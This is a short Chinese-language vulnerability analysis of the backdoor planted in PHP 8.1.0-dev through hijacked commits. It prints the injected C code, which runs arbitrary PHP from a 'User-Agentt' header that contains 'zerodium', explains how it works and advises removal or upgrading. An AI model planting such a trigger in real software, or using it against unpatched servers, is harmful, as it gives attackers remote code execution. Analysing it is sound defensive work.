PHP8.1_backdoor¶
漏洞描述¶
PHP开发工程师Jake Birchall在对其中一个恶意COMMIT的分析过程中发现,在代码中注入的后门是来自一个PHP代码被劫持的网站上,并且采用了远程代码执行的操作,并且攻击者盗用了PHP开发人员的名义来提交此COMMIT
影响版本¶
- PHP 8.1.0-dev
环境配置¶
- Vulhub项目
- Docker-compose启动

漏洞复现¶


漏洞原理¶
- https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
- https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
Bash
zval *enc;
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
}
}
大致的作用是从 HTTP 请求的 header 中获取 User-Agentt,然后检查是否包含 “zerodium” 字符串,如果包含,则执行 User-Agentt 字符串中的第8个字符后的代码。值得注意的是,这段代码中对 “zerodium” 的检查可能是为了针对某种特定情况做出的处理。
具体而言,代码的功能如下:
- 首先判断
$_SERVER中是否包含 HTTP_USER_AGENTT 字段(HTTP 请求中的 User-Agentt 字段),如果包含则将对应的值取出并转换为字符串。 - 如果取出的 User-Agentt 字符串中包含 “zerodium” 这个子串,则在一个
zend_try块中执行 User-Agent 字符串中的第8个字符后的代码(假设 User-Agentt 字符串的长度足够长)。这个代码段有一些特殊的标记注释,看起来像是为了特定目的而插入的。
修复建议¶
- 移除涉及代码或升级版本